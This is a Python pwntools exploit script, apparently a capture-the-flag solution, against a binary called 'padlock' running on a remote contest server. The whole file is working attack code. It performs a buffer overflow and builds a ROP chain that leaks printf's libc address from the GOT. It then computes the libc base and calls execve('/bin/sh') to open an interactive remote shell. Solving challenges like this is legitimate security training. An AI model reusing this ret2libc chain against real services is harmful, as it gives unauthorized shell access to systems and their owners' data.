from pwn import *

OFF = 80
context.binary = elf = ELF("./padlock", checksec=False)
# libc = ELF("/usr/lib/libc.so.6", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# p = process(elf.path)
p = remote("offsec.m0lecon.it", 13582)
PRINTF_PLT = elf.plt["printf"]
ATOI_PLT = elf.plt["atoi"]
PRINTF_GOT = elf.got["printf"]
READ_GOT = elf.got["read"]
MAIN = elf.sym["main"]

pop_rdi = 0x00000000004011FF  # format string
pop_rsi = 0x0000000000401208  # got address
pop_rdx = 0x0000000000401211
ret = 0x000000000040101A
mov_eax_pop_rbp = 0x4012B0
mov_eax = 0x000000000040127D
# Mi serve scrivere binsh da qualche parte
# Mi serve trovare libc addr e chiamare system
rw_addr = 0x405000
# search it in libc
BINSH = next(libc.search(b"/bin/sh\x00"))
format_addr = 0x402028
print(p.recvuntil(b"[padlock] Decimal combination: "))
payload = flat(
    b"A" * OFF,
    p64(ret),
    # ATOI returns in rax, make it return 0 to set rax
    p64(pop_rdi),
    p64(format_addr),
    p64(ATOI_PLT),
    p64(pop_rdi),
    # Since the GOT is a ptr I directly give it to printf to print the actual libc address
    p64(PRINTF_GOT),
    p64(ret),
    p64(PRINTF_PLT),
    p64(ret),
    p64(MAIN),
)
p.send(payload)
print(p.recvline())
# print(p.recvline())
leaked = p.recvline().strip().split(b"[")[0]
leak_printf = u64(leaked.ljust(8, b"\x00"))
print(f"Leaked addr:{hex(leak_printf)}")
print(p.recvuntil(b"combination: "))
libc.address = leak_printf - libc.symbols["printf"]

BINSH = next(libc.search(b"/bin/sh\x00"))
payload2 = flat(
    b"A" * OFF,
    # p64(ret),
    p64(pop_rdi),
    p64(BINSH),
    p64(pop_rsi),
    p64(0),
    p64(pop_rdx),
    p64(0),
    # p64(ret),
    p64(libc.symbols["execve"]),
)
print(f"Binsh: {hex(BINSH)} System: {hex(libc.symbols['execve'])}")
p.sendline(payload2)
p.interactive()
# print(p.recvuntil(b"[padlock] Decimal combination: "))
